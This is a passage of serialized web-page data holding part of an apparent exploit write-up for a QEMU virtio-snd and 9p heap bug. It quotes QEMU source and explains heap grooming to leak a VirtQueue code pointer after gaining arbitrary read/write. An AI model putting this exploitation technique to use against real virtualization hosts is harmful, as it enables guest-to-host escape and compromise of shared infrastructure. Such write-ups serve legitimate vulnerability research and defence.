",{"type":26,"tag":475,"props":129743,"children":129744},{"style":714},[129745],{"type":32,"value":4282},{"type":26,"tag":475,"props":129747,"children":129748},{"style":493},[129749],{"type":32,"value":129359},{"type":26,"tag":475,"props":129751,"children":129752},{"style":499},[129753],{"type":32,"value":129754},"(V9fsState ",{"type":26,"tag":475,"props":129756,"children":129757},{"style":714},[129758],{"type":32,"value":4282},{"type":26,"tag":475,"props":129760,"children":129761},{"style":2375},[129762],{"type":32,"value":10360},{"type":26,"tag":475,"props":129764,"children":129765},{"style":499},[129766],{"type":32,"value":637},{"type":26,"tag":475,"props":129768,"children":129769},{"style":482},[129770],{"type":32,"value":129771},"int32_t",{"type":26,"tag":475,"props":129773,"children":129774},{"style":2375},[129775],{"type":32,"value":129776}," fid",{"type":26,"tag":475,"props":129778,"children":129779},{"style":499},[129780],{"type":32,"value":647},{"type":26,"tag":475,"props":129782,"children":129783},{"class":477,"line":948},[129784],{"type":26,"tag":475,"props":129785,"children":129786},{"style":499},[129787],{"type":32,"value":10589},{"type":26,"tag":475,"props":129789,"children":129790},{"class":477,"line":966},[129791,129795,129799],{"type":26,"tag":475,"props":129792,"children":129793},{"style":499},[129794],{"type":32,"value":127523},{"type":26,"tag":475,"props":129796,"children":129797},{"style":714},[129798],{"type":32,"value":4282},{"type":26,"tag":475,"props":129800,"children":129801},{"style":499},[129802],{"type":32,"value":50857},{"type":26,"tag":475,"props":129804,"children":129805},{"class":477,"line":979},[129806],{"type":26,"tag":475,"props":129807,"children":129808},{"emptyLinePlaceholder":18},[129809],{"type":32,"value":545},{"type":26,"tag":475,"props":129811,"children":129812},{"class":477,"line":1006},[129813,129818,129822,129827,129831,129835,129839,129844,129848,129853],{"type":26,"tag":475,"props":129814,"children":129815},{"style":499},[129816],{"type":32,"value":129817}," f ",{"type":26,"tag":475,"props":129819,"children":129820},{"style":714},[129821],{"type":32,"value":786},{"type":26,"tag":475,"props":129823,"children":129824},{"style":493},[129825],{"type":32,"value":129826}," g_hash_table_lookup",{"type":26,"tag":475,"props":129828,"children":129829},{"style":499},[129830],{"type":32,"value":626},{"type":26,"tag":475,"props":129832,"children":129833},{"style":2375},[129834],{"type":32,"value":10360},{"type":26,"tag":475,"props":129836,"children":129837},{"style":499},[129838],{"type":32,"value":13464},{"type":26,"tag":475,"props":129840,"children":129841},{"style":2375},[129842],{"type":32,"value":129843},"fids",{"type":26,"tag":475,"props":129845,"children":129846},{"style":499},[129847],{"type":32,"value":637},{"type":26,"tag":475,"props":129849,"children":129850},{"style":493},[129851],{"type":32,"value":129852},"GINT_TO_POINTER",{"type":26,"tag":475,"props":129854,"children":129855},{"style":499},[129856],{"type":32,"value":129857},"(fid));\n",{"type":26,"tag":475,"props":129859,"children":129860},{"class":477,"line":1046},[129861,129865],{"type":26,"tag":475,"props":129862,"children":129863},{"style":586},[129864],{"type":32,"value":11988},{"type":26,"tag":475,"props":129866,"children":129867},{"style":499},[129868],{"type":32,"value":129869}," (f) {\n",{"type":26,"tag":475,"props":129871,"children":129872},{"class":477,"line":1068},[129873],{"type":26,"tag":475,"props":129874,"children":129875},{"style":552},[129876],{"type":32,"value":129877}," /* If fid is already there return NULL */\n",{"type":26,"tag":475,"props":129879,"children":129880},{"class":477,"line":1077},[129881,129886,129890,129894,129898,129903],{"type":26,"tag":475,"props":129882,"children":129883},{"style":493},[129884],{"type":32,"value":129885}," BUG_ON",{"type":26,"tag":475,"props":129887,"children":129888},{"style":499},[129889],{"type":32,"value":626},{"type":26,"tag":475,"props":129891,"children":129892},{"style":2375},[129893],{"type":32,"value":32782},{"type":26,"tag":475,"props":129895,"children":129896},{"style":499},[129897],{"type":32,"value":13464},{"type":26,"tag":475,"props":129899,"children":129900},{"style":2375},[129901],{"type":32,"value":129902},"clunked",{"type":26,"tag":475,"props":129904,"children":129905},{"style":499},[129906],{"type":32,"value":3533},{"type":26,"tag":475,"props":129908,"children":129909},{"class":477,"line":1090},[129910,129914,129918],{"type":26,"tag":475,"props":129911,"children":129912},{"style":586},[129913],{"type":32,"value":15449},{"type":26,"tag":475,"props":129915,"children":129916},{"style":482},[129917],{"type":32,"value":127202},{"type":26,"tag":475,"props":129919,"children":129920},{"style":499},[129921],{"type":32,"value":2729},{"type":26,"tag":475,"props":129923,"children":129924},{"class":477,"line":1119},[129925],{"type":26,"tag":475,"props":129926,"children":129927},{"style":499},[129928],{"type":32,"value":851},{"type":26,"tag":475,"props":129930,"children":129931},{"class":477,"line":1132},[129932,129936,129940,129945,129950,129954],{"type":26,"tag":475,"props":129933,"children":129934},{"style":499},[129935],{"type":32,"value":129817},{"type":26,"tag":475,"props":129937,"children":129938},{"style":714},[129939],{"type":32,"value":786},{"type":26,"tag":475,"props":129941,"children":129942},{"style":493},[129943],{"type":32,"value":129944}," g_new0",{"type":26,"tag":475,"props":129946,"children":129947},{"style":499},[129948],{"type":32,"value":129949},"(V9fsFidState, ",{"type":26,"tag":475,"props":129951,"children":129952},{"style":903},[129953],{"type":32,"value":3722},{"type":26,"tag":475,"props":129955,"children":129956},{"style":499},[129957],{"type":32,"value":3533},{"type":26,"tag":475,"props":129959,"children":129960},{"class":477,"line":1146},[129961],{"type":26,"tag":475,"props":129962,"children":129963},{"emptyLinePlaceholder":18},[129964],{"type":32,"value":545},{"type":26,"tag":475,"props":129966,"children":129967},{"class":477,"line":1155},[129968],{"type":26,"tag":475,"props":129969,"children":129970},{"style":499},[129971],{"type":32,"value":104233},{"type":26,"tag":35,"props":129973,"children":129974},{},[129975,129977,129982],{"type":32,"value":129976},"After it is allocated, it will be placed into that freed region in place of the old ",{"type":26,"tag":53,"props":129978,"children":129980},{"className":129979},[],[129981],{"type":32,"value":128777},{"type":32,"value":128114},{"type":26,"tag":465,"props":129984,"children":129986},{"code":129985}," .value Y extended\n |\n+--------------------+--------------------+\n| |\n| |\nv v\n+--------------------+---------------+----+\n| | |....|\n| .value Y | V9fsFidState |....|\n| | |....|\n+--------------------+---------------+----+\n",[129987],{"type":26,"tag":53,"props":129988,"children":129989},{"__ignoreMap":7},[129990],{"type":32,"value":129985},{"type":26,"tag":70,"props":129992,"children":129994},{"id":129993},"leaking-a-qemu-address",[129995],{"type":32,"value":129996},"Leaking a QEMU Address",{"type":26,"tag":35,"props":129998,"children":129999},{},[130000],{"type":32,"value":130001},"We now have an arbitrary read/write primitive and a controlled chunk at a known address. The next step is to leak a QEMU code address so we can later redirect execution. To do this, we combine the arbitrary read primitive with the known-address chunk: we free that chunk, replace it with an object that contains pointers into QEMU's code or data, and then use arbitrary read to leak its fields.",{"type":26,"tag":35,"props":130003,"children":130004},{},[130005,130007,130012],{"type":32,"value":130006},"For this, we go back to virtio-snd and its buffer allocations. Recall ",{"type":26,"tag":53,"props":130008,"children":130010},{"className":130009},[],[130011],{"type":32,"value":123197},{"type":32,"value":179},{"type":26,"tag":465,"props":130014,"children":130016},{"code":130015,"language":2854,"meta":7,"className":16220,"style":7},"static void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n VirtIOSound *vsnd = VIRTIO_SND(vdev);\n VirtIOSoundPCMBuffer *buffer;\n VirtQueueElement *elem;\n size_t msg_sz, size;\n uint32_t stream_id;\n\n [...]\n\n for (;;) {\n VirtIOSoundPCMStream *stream;\n\n elem = virtqueue_pop(vq, sizeof(VirtQueueElement));\n if (!elem) {\n break;\n }\n /* get the message hdr object */\n msg_sz = iov_to_buf(elem->out_sg,\n elem->out_num,\n 0,\n &hdr,\n sizeof(virtio_snd_pcm_xfer));\n if (msg_sz != sizeof(virtio_snd_pcm_xfer)) {\n goto rx_err;\n }\n stream_id = le32_to_cpu(hdr.stream_id);\n\n [...]\n\n WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n size = iov_size(elem->in_sg, elem->in_num) -\n sizeof(virtio_snd_pcm_status);\n buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size); // [1]\n buffer->elem = elem;\n buffer->vq = vq; // [2]\n buffer->size = 0;\n buffer->offset = 0;\n QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry);\n }\n",[130017],{"type":26,"tag":53,"props":130018,"children":130019},{"__ignoreMap":7},[130020,130063,130070,130101,130116,130131,130143,130156,130163,130170,130177,130188,130203,130210,130238,130257,130268,130275,130283,130320,130341,130353,130366,130379,130405,130417,130424,130462,130469,130476,130483,130514,130569,130581,130622,130645,130674,130701,130728,130760],{"type":26,"tag":475,"props":130021,"children":130022},{"class":477,"line":478},[130023,130027,130031,130035,130039,130043,130047,130051,130055,130059],{"type":26,"tag":475,"props":130024,"children":130025},{"style":482},[130026],{"type":32,"value":50736},{"type":26,"tag":475,"props":130028,"children":130029},{"style":482},[130030],{"type":32,"value":50741},{"type":26,"tag":475,"props":130032,"children":130033},{"style":493},[130034],{"type":32,"value":123276},{"type":26,"tag":475,"props":130036,"children":130037},{"style":499},[130038],{"type":32,"value":123281},{"type":26,"tag":475,"props":130040,"children":130041},{"style":714},[130042],{"type":32,"value":4282},{"type":26,"tag":475,"props":130044,"children":130045},{"style":2375},[130046],{"type":32,"value":123290},{"type":26,"tag":475,"props":130048,"children":130049},{"style":499},[130050],{"type":32,"value":123295},{"type":26,"tag":475,"props":130052,"children":130053},{"style":714},[130054],{"type":32,"value":4282},{"type":26,"tag":475,"props":130056,"children":130057},{"style":2375},[130058],{"type":32,"value":123304},{"type":26,"tag":475,"props":130060,"children":130061},{"style":499},[130062],{"type":32,"value":647},{"type":26,"tag":475,"props":130064,"children":130065},{"class":477,"line":516},[130066],{"type":26,"tag":475,"props":130067,"children":130068},{"style":499},[130069],{"type":32,"value":10589},{"type":26,"tag":475,"props":130071,"children":130072},{"class":477,"line":539},[130073,130078,130082,130087,130091,130096],{"type":26,"tag":475,"props":130074,"children":130075},{"style":499},[130076],{"type":32,"value":130077}," VirtIOSound ",{"type":26,"tag":475,"props":130079,"children":130080},{"style":714},[130081],{"type":32,"value":4282},{"type":26,"tag":475,"props":130083,"children":130084},{"style":499},[130085],{"type":32,"value":130086},"vsnd ",{"type":26,"tag":475,"props":130088,"children":130089},{"style":714},[130090],{"type":32,"value":786},{"type":26,"tag":475,"props":130092,"children":130093},{"style":493},[130094],{"type":32,"value":130095}," VIRTIO_SND",{"type":26,"tag":475,"props":130097,"children":130098},{"style":499},[130099],{"type":32,"value":130100},"(vdev);\n",{"type":26,"tag":475,"props":130102,"children":130103},{"class":477,"line":548},[130104,130108,130112],{"type":26,"tag":475,"props":130105,"children":130106},{"style":499},[130107],{"type":32,"value":124294},{"type":26,"tag":475,"props":130109,"children":130110},{"style":714},[130111],{"type":32,"value":4282},{"type":26,"tag":475,"props":130113,"children":130114},{"style":499},[130115],{"type":32,"value":124303},{"type":26,"tag":475,"props":130117,"children":130118},{"class":477,"line":558},[130119,130123,130127],{"type":26,"tag":475,"props":130120,"children":130121},{"style":499},[130122],{"type":32,"value":123323},{"type":26,"tag":475,"props":130124,"children":130125},{"style":714},[130126],{"type":32,"value":4282},{"type":26,"tag":475,"props":130128,"children":130129},{"style":499},[130130],{"type":32,"value":123332},{"type":26,"tag":475,"props":130132,"children":130133},{"class":477,"line":582},[130134,130138],{"type":26,"tag":475,"props":130135,"children":130136},{"style":482},[130137],{"type":32,"value":16270},{"type":26,"tag":475,"props":130139,"children":130140},{"style":499},[130141],{"type":32,"value":130142}," msg_sz, size;\n",{"type":26,"tag":475,"props":130144,"children":130145},{"class":477,"line":596},[130146,130151],{"type":26,"tag":475,"props":130147,"children":130148},{"style":482},[130149],{"type":32,"value":130150}," uint32_t",{"type":26,"tag":475,"props":130152,"children":130153},{"style":499},[130154],{"type":32,"value":130155}," stream_id;\n",{"type":26,"tag":475,"props":130157,"children":130158},{"class":477,"line":610},[130159],{"type":26,"tag":475,"props":130160,"children":130161},{"emptyLinePlaceholder":18},[130162],{"type":32,"value":545},{"type":26,"tag":475,"props":130164,"children":130165},{"class":477,"line":650},[130166],{"type":26,"tag":475,"props":130167,"children":130168},{"style":499},[130169],{"type":32,"value":104233},{"type":26,"tag":475,"props":130171,"children":130172},{"class":477,"line":679},[130173],{"type":26,"tag":475,"props":130174,"children":130175},{"emptyLinePlaceholder":18},[130176],{"type":32,"value":545},{"type":26,"tag":475,"props":130178,"children":130179},{"class":477,"line":735},[130180,130184],{"type":26,"tag":475,"props":130181,"children":130182},{"style":586},[130183],{"type":32,"value":2737},{"type":26,"tag":475,"props":130185,"children":130186},{"style":499},[130187],{"type":32,"value":123358},{"type":26,"tag":475,"props":130189,"children":130190},{"class":477,"line":744},[130191,130195,130199],{"type":26,"tag":475,"props":130192,"children":130193},{"style":499},[130194],{"type":32,"value":123366},{"type":26,"tag":475,"props":130196,"children":130197},{"style":714},[130198],{"type":32,"value":4282},{"type":26,"tag":475,"props":130200,"children":130201},{"style":499},[130202],{"type":32,"value":123375},{"type":26,"tag":475,"props":130204,"children":130205},{"class":477,"line":753},[130206],{"type":26,"tag":475,"props":130207,"children":130208},{"emptyLinePlaceholder":18},[130209],{"type":32,"value":545},{"type":26,"tag":475,"props":130211,"children":130212},{"class":477,"line":761},[130213,130217,130221,130225,130229,130233],{"type":26,"tag":475,"props":130214,"children":130215},{"style":499},[130216],{"type":32,"value":123390},{"type":26,"tag":475,"props":130218,"children":130219},{"style":714},[130220],{"type":32,"value":786},{"type":26,"tag":475,"props":130222,"children":130223},{"style":493},[130224],{"type":32,"value":123399},{"type":26,"tag":475,"props":130226,"children":130227},{"style":499},[130228],{"type":32,"value":123404},{"type":26,"tag":475,"props":130230,"children":130231},{"style":482},[130232],{"type":32,"value":55019},{"type":26,"tag":475,"props":130234,"children":130235},{"style":499},[130236],{"type":32,"value":130237},"(VirtQueueElement));\n",{"type":26,"tag":475,"props":130239,"children":130240},{"class":477,"line":770},[130241,130245,130249,130253],{"type":26,"tag":475,"props":130242,"children":130243},{"style":586},[130244],{"type":32,"value":2980},{"type":26,"tag":475,"props":130246,"children":130247},{"style":499},[130248],{"type":32,"value":2775},{"type":26,"tag":475,"props":130250,"children":130251},{"style":714},[130252],{"type":32,"value":20329},{"type":26,"tag":475,"props":130254,"children":130255},{"style":499},[130256],{"type":32,"value":123438},{"type":26,"tag":475,"props":130258,"children":130259},{"class":477,"line":794},[130260,130264],{"type":26,"tag":475,"props":130261,"children":130262},{"style":586},[130263],{"type":32,"value":3006},{"type":26,"tag":475,"props":130265,"children":130266},{"style":499},[130267],{"type":32,"value":2729},{"type":26,"tag":475,"props":130269,"children":130270},{"class":477,"line":831},[130271],{"type":26,"tag":475,"props":130272,"children":130273},{"style":499},[130274],{"type":32,"value":750},{"type":26,"tag":475,"props":130276,"children":130277},{"class":477,"line":845},[130278],{"type":26,"tag":475,"props":130279,"children":130280},{"style":552},[130281],{"type":32,"value":130282}," /* get the message hdr object */\n",{"type":26,"tag":475,"props":130284,"children":130285},{"class":477,"line":854},[130286,130291,130295,130300,130304,130308,130312,130316],{"type":26,"tag":475,"props":130287,"children":130288},{"style":499},[130289],{"type":32,"value":130290}," msg_sz ",{"type":26,"tag":475,"props":130292,"children":130293},{"style":714},[130294],{"type":32,"value":786},{"type":26,"tag":475,"props":130296,"children":130297},{"style":493},[130298],{"type":32,"value":130299}," iov_to_buf",{"type":26,"tag":475,"props":130301,"children":130302},{"style":499},[130303],{"type":32,"value":626},{"type":26,"tag":475,"props":130305,"children":130306},{"style":2375},[130307],{"type":32,"value":51755},{"type":26,"tag":475,"props":130309,"children":130310},{"style":499},[130311],{"type":32,"value":13464},{"type":26,"tag":475,"props":130313,"children":130314},{"style":2375},[130315],{"type":32,"value":123842},{"type":26,"tag":475,"props":130317,"children":130318},{"style":499},[130319],{"type":32,"value":2425},{"type":26,"tag":475,"props":130321,"children":130322},{"class":477,"line":862},[130323,130328,130332,130337],{"type":26,"tag":475,"props":130324,"children":130325},{"style":2375},[130326],{"type":32,"value":130327}," elem",{"type":26,"tag":475,"props":130329,"children":130330},{"style":499},[130331],{"type":32,"value":13464},{"type":26,"tag":475,"props":130333,"children":130334},{"style":2375},[130335],{"type":32,"value":130336},"out_num",{"type":26,"tag":475,"props":130338,"children":130339},{"style":499},[130340],{"type":32,"value":2425},{"type":26,"tag":475,"props":130342,"children":130343},{"class":477,"line":885},[130344,130349],{"type":26,"tag":475,"props":130345,"children":130346},{"style":903},[130347],{"type":32,"value":130348}," 0",{"type":26,"tag":475,"props":130350,"children":130351},{"style":499},[130352],{"type":32,"value":2425},{"type":26,"tag":475,"props":130354,"children":130355},{"class":477,"line":913},[130356,130361],{"type":26,"tag":475,"props":130357,"children":130358},{"style":714},[130359],{"type":32,"value":130360}," &",{"type":26,"tag":475,"props":130362,"children":130363},{"style":499},[130364],{"type":32,"value":130365},"hdr,\n",{"type":26,"tag":475,"props":130367,"children":130368},{"class":477,"line":926},[130369,130374],{"type":26,"tag":475,"props":130370,"children":130371},{"style":482},[130372],{"type":32,"value":130373}," sizeof",{"type":26,"tag":475,"props":130375,"children":130376},{"style":499},[130377],{"type":32,"value":130378},"(virtio_snd_pcm_xfer));\n",{"type":26,"tag":475,"props":130380,"children":130381},{"class":477,"line":948},[130382,130386,130391,130395,130400],{"type":26,"tag":475,"props":130383,"children":130384},{"style":586},[130385],{"type":32,"value":2980},{"type":26,"tag":475,"props":130387,"children":130388},{"style":499},[130389],{"type":32,"value":130390}," (msg_sz ",{"type":26,"tag":475,"props":130392,"children":130393},{"style":714},[130394],{"type":32,"value":15394},{"type":26,"tag":475,"props":130396,"children":130397},{"style":482},[130398],{"type":32,"value":130399}," sizeof",{"type":26,"tag":475,"props":130401,"children":130402},{"style":499},[130403],{"type":32,"value":130404},"(virtio_snd_pcm_xfer)) {\n",{"type":26,"tag":475,"props":130406,"children":130407},{"class":477,"line":966},[130408,130412],{"type":26,"tag":475,"props":130409,"children":130410},{"style":586},[130411],{"type":32,"value":60241},{"type":26,"tag":475,"props":130413,"children":130414},{"style":499},[130415],{"type":32,"value":130416}," rx_err;\n",{"type":26,"tag":475,"props":130418,"children":130419},{"class":477,"line":979},[130420],{"type":26,"tag":475,"props":130421,"children":130422},{"style":499},[130423],{"type":32,"value":750},{"type":26,"tag":475,"props":130425,"children":130426},{"class":477,"line":1006},[130427,130432,130436,130440,130444,130449,130453,130458],{"type":26,"tag":475,"props":130428,"children":130429},{"style":499},[130430],{"type":32,"value":130431}," stream_id ",{"type":26,"tag":475,"props":130433,"children":130434},{"style":714},[130435],{"type":32,"value":786},{"type":26,"tag":475,"props":130437,"children":130438},{"style":493},[130439],{"type":32,"value":125304},{"type":26,"tag":475,"props":130441,"children":130442},{"style":499},[130443],{"type":32,"value":626},{"type":26,"tag":475,"props":130445,"children":130446},{"style":2375},[130447],{"type":32,"value":130448},"hdr",{"type":26,"tag":475,"props":130450,"children":130451},{"style":499},[130452],{"type":32,"value":353},{"type":26,"tag":475,"props":130454,"children":130455},{"style":2375},[130456],{"type":32,"value":130457},"stream_id",{"type":26,"tag":475,"props":130459,"children":130460},{"style":499},[130461],{"type":32,"value":3533},{"type":26,"tag":475,"props":130463,"children":130464},{"class":477,"line":1046},[130465],{"type":26,"tag":475,"props":130466,"children":130467},{"emptyLinePlaceholder":18},[130468],{"type":32,"value":545},{"type":26,"tag":475,"props":130470,"children":130471},{"class":477,"line":1068},[130472],{"type":26,"tag":475,"props":130473,"children":130474},{"style":499},[130475],{"type":32,"value":123471},{"type":26,"tag":475,"props":130477,"children":130478},{"class":477,"line":1077},[130479],{"type":26,"tag":475,"props":130480,"children":130481},{"emptyLinePlaceholder":18},[130482],{"type":32,"value":545},{"type":26,"tag":475,"props":130484,"children":130485},{"class":477,"line":1090},[130486,130490,130494,130498,130502,130506,130510],{"type":26,"tag":475,"props":130487,"children":130488},{"style":493},[130489],{"type":32,"value":123486},{"type":26,"tag":475,"props":130491,"children":130492},{"style":499},[130493],{"type":32,"value":626},{"type":26,"tag":475,"props":130495,"children":130496},{"style":714},[130497],{"type":32,"value":2816},{"type":26,"tag":475,"props":130499,"children":130500},{"style":2375},[130501],{"type":32,"value":35955},{"type":26,"tag":475,"props":130503,"children":130504},{"style":499},[130505],{"type":32,"value":13464},{"type":26,"tag":475,"props":130507,"children":130508},{"style":2375},[130509],{"type":32,"value":123507},{"type":26,"tag":475,"props":130511,"children":130512},{"style":499},[130513],{"type":32,"value":676},{"type":26,"tag":475,"props":130515,"children":130516},{"class":477,"line":1119},[130517,130521,130525,130529,130533,130537,130541,130545,130549,130553,130557,130561,130565],{"type":26,"tag":475,"props":130518,"children":130519},{"style":499},[130520],{"type":32,"value":123519},{"type":26,"tag":475,"props":130522,"children":130523},{"style":714},[130524],{"type":32,"value":786},{"type":26,"tag":475,"props":130526,"children":130527},{"style":493},[130528],{"type":32,"value":123528},{"type":26,"tag":475,"props":130530,"children":130531},{"style":499},[130532],{"type":32,"value":626},{"type":26,"tag":475,"props":130534,"children":130535},{"style":2375},[130536],{"type":32,"value":51755},{"type":26,"tag":475,"props":130538,"children":130539},{"style":499},[130540],{"type":32,"value":13464},{"type":26,"tag":475,"props":130542,"children":130543},{"style":2375},[130544],{"type":32,"value":123545},{"type":26,"tag":475,"props":130546,"children":130547},{"style":499},[130548],{"type":32,"value":637},{"type":26,"tag":475,"props":130550,"children":130551},{"style":2375},[130552],{"type":32,"value":51755},{"type":26,"tag":475,"props":130554,"children":130555},{"style":499},[130556],{"type":32,"value":13464},{"type":26,"tag":475,"props":130558,"children":130559},{"style":2375},[130560],{"type":32,"value":123562},{"type":26,"tag":475,"props":130562,"children":130563},{"style":499},[130564],{"type":32,"value":2794},{"type":26,"tag":475,"props":130566,"children":130567},{"style":714},[130568],{"type":32,"value":50553},{"type":26,"tag":475,"props":130570,"children":130571},{"class":477,"line":1132},[130572,130576],{"type":26,"tag":475,"props":130573,"children":130574},{"style":482},[130575],{"type":32,"value":123578},{"type":26,"tag":475,"props":130577,"children":130578},{"style":499},[130579],{"type":32,"value":130580},"(virtio_snd_pcm_status);\n",{"type":26,"tag":475,"props":130582,"children":130583},{"class":477,"line":1146},[130584,130588,130592,130596,130600,130604,130608,130612,130617],{"type":26,"tag":475,"props":130585,"children":130586},{"style":499},[130587],{"type":32,"value":123596},{"type":26,"tag":475,"props":130589,"children":130590},{"style":714},[130591],{"type":32,"value":786},{"type":26,"tag":475,"props":130593,"children":130594},{"style":493},[130595],{"type":32,"value":123605},{"type":26,"tag":475,"props":130597,"children":130598},{"style":499},[130599],{"type":32,"value":626},{"type":26,"tag":475,"props":130601,"children":130602},{"style":482},[130603],{"type":32,"value":55019},{"type":26,"tag":475,"props":130605,"children":130606},{"style":499},[130607],{"type":32,"value":123618},{"type":26,"tag":475,"props":130609,"children":130610},{"style":714},[130611],{"type":32,"value":1106},{"type":26,"tag":475,"props":130613,"children":130614},{"style":499},[130615],{"type":32,"value":130616}," size);",{"type":26,"tag":475,"props":130618,"children":130619},{"style":552},[130620],{"type":32,"value":130621}," // [1]\n",{"type":26,"tag":475,"props":130623,"children":130624},{"class":477,"line":1155},[130625,130629,130633,130637,130641],{"type":26,"tag":475,"props":130626,"children":130627},{"style":2375},[130628],{"type":32,"value":123635},{"type":26,"tag":475,"props":130630,"children":130631},{"style":499},[130632],{"type":32,"value":13464},{"type":26,"tag":475,"props":130634,"children":130635},{"style":2375},[130636],{"type":32,"value":51755},{"type":26,"tag":475,"props":130638,"children":130639},{"style":714},[130640],{"type":32,"value":2383},{"type":26,"tag":475,"props":130642,"children":130643},{"style":499},[130644],{"type":32,"value":123652},{"type":26,"tag":475,"props":130646,"children":130647},{"class":477,"line":1163},[130648,130652,130656,130660,130664,130669],{"type":26,"tag":475,"props":130649,"children":130650},{"style":2375},[130651],{"type":32,"value":123635},{"type":26,"tag":475,"props":130653,"children":130654},{"style":499},[130655],{"type":32,"value":13464},{"type":26,"tag":475,"props":130657,"children":130658},{"style":2375},[130659],{"type":32,"value":123304},{"type":26,"tag":475,"props":130661,"children":130662},{"style":714},[130663],{"type":32,"value":2383},{"type":26,"tag":475,"props":130665,"children":130666},{"style":499},[130667],{"type":32,"value":130668}," vq;",{"type":26,"tag":475,"props":130670,"children":130671},{"style":552},[130672],{"type":32,"value":130673}," // [2]\n",{"type":26,"tag":475,"props":130675,"children":130676},{"class":477,"line":1172},[130677,130681,130685,130689,130693,130697],{"type":26,"tag":475,"props":130678,"children":130679},{"style":2375},[130680],{"type":32,"value":123635},{"type":26,"tag":475,"props":130682,"children":130683},{"style":499},[130684],{"type":32,"value":13464},{"type":26,"tag":475,"props":130686,"children":130687},{"style":2375},[130688],{"type":32,"value":123692},{"type":26,"tag":475,"props":130690,"children":130691},{"style":714},[130692],{"type":32,"value":2383},{"type":26,"tag":475,"props":130694,"children":130695},{"style":903},[130696],{"type":32,"value":2752},{"type":26,"tag":475,"props":130698,"children":130699},{"style":499},[130700],{"type":32,"value":2729},{"type":26,"tag":475,"props":130702,"children":130703},{"class":477,"line":1181},[130704,130708,130712,130716,130720,130724],{"type":26,"tag":475,"props":130705,"children":130706},{"style":2375},[130707],{"type":32,"value":123635},{"type":26,"tag":475,"props":130709,"children":130710},{"style":499},[130711],{"type":32,"value":13464},{"type":26,"tag":475,"props":130713,"children":130714},{"style":2375},[130715],{"type":32,"value":13608},{"type":26,"tag":475,"props":130717,"children":130718},{"style":714},[130719],{"type":32,"value":2383},{"type":26,"tag":475,"props":130721,"children":130722},{"style":903},[130723],{"type":32,"value":2752},{"type":26,"tag":475,"props":130725,"children":130726},{"style":499},[130727],{"type":32,"value":2729},{"type":26,"tag":475,"props":130729,"children":130730},{"class":477,"line":1189},[130731,130735,130739,130743,130747,130751,130755],{"type":26,"tag":475,"props":130732,"children":130733},{"style":493},[130734],{"type":32,"value":123739},{"type":26,"tag":475,"props":130736,"children":130737},{"style":499},[130738],{"type":32,"value":626},{"type":26,"tag":475,"props":130740,"children":130741},{"style":714},[130742],{"type":32,"value":2816},{"type":26,"tag":475,"props":130744,"children":130745},{"style":2375},[130746],{"type":32,"value":35955},{"type":26,"tag":475,"props":130748,"children":130749},{"style":499},[130750],{"type":32,"value":13464},{"type":26,"tag":475,"props":130752,"children":130753},{"style":2375},[130754],{"type":32,"value":123760},{"type":26,"tag":475,"props":130756,"children":130757},{"style":499},[130758],{"type":32,"value":130759},", buffer, entry);\n",{"type":26,"tag":475,"props":130761,"children":130762},{"class":477,"line":1221},[130763],{"type":26,"tag":475,"props":130764,"children":130765},{"style":499},[130766],{"type":32,"value":750},{"type":26,"tag":35,"props":130768,"children":130769},{},[130770,130771,130776,130778,130783,130785,130790,130792,130798],{"type":32,"value":123814},{"type":26,"tag":53,"props":130772,"children":130774},{"className":130773},[],[130775],{"type":32,"value":123820},{"type":32,"value":130777},", QEMU allocates a ",{"type":26,"tag":53,"props":130779,"children":130781},{"className":130780},[],[130782],{"type":32,"value":123957},{"type":32,"value":130784}," whose size depends on the guest-provided iovec, and at ",{"type":26,"tag":53,"props":130786,"children":130788},{"className":130787},[],[130789],{"type":32,"value":123855},{"type":32,"value":130791}," it stores the ",{"type":26,"tag":53,"props":130793,"children":130795},{"className":130794},[],[130796],{"type":32,"value":130797},"VirtQueue *vq",{"type":32,"value":130799}," pointer into the buffer.",{"type":26,"tag":35,"props":130801,"children":130802},{},[130803,130804,130810],{"type":32,"value":63909},{"type":26,"tag":53,"props":130805,"children":130807},{"className":130806},[],[130808],{"type":32,"value":130809},"VirtQueue",{"type":32,"value":130811}," structure contains some useful fields:",{"type":26,"tag":465,"props":130813,"children":130815},{"code":130814,"language":2854,"meta":7,"className":16220,"style":7},"struct VirtQueue\n{\n [...]\n\n VirtIOHandleOutput handle_output;\n VirtIODevice *vdev;\n\n [...]\n};\n",[130816],{"type":26,"tag":53,"props":130817,"children":130818},{"__ignoreMap":7},[130819,130831,130838,130845,130852,130860,130877,130884,130891],{"type":26,"tag":475,"props":130820,"children":130821},{"class":477,"line":478},[130822,130826],{"type":26,"tag":475,"props":130823,"children":130824},{"style":482},[130825],{"type":32,"value":9111},{"type":26,"tag":475,"props":130827,"children":130828},{"style":499},[130829],{"type":32,"value":130830}," VirtQueue\n",{"type":26,"tag":475,"props":130832,"children":130833},{"class":477,"line":516},[130834],{"type":26,"tag":475,"props":130835,"children":130836},{"style":499},[130837],{"type":32,"value":10589},{"type":26,"tag":475,"props":130839,"children":130840},{"class":477,"line":539},[130841],{"type":26,"tag":475,"props":130842,"children":130843},{"style":499},[130844],{"type":32,"value":104233},{"type":26,"tag":475,"props":130846,"children":130847},{"class":477,"line":548},[130848],{"type":26,"tag":475,"props":130849,"children":130850},{"emptyLinePlaceholder":18},[130851],{"type":32,"value":545},{"type":26,"tag":475,"props":130853,"children":130854},{"class":477,"line":558},[130855],{"type":26,"tag":475,"props":130856,"children":130857},{"style":499},[130858],{"type":32,"value":130859}," VirtIOHandleOutput handle_output;\n",{"type":26,"tag":475,"props":130861,"children":130862},{"class":477,"line":582},[130863,130868,130872],{"type":26,"tag":475,"props":130864,"children":130865},{"style":499},[130866],{"type":32,"value":130867}," VirtIODevice 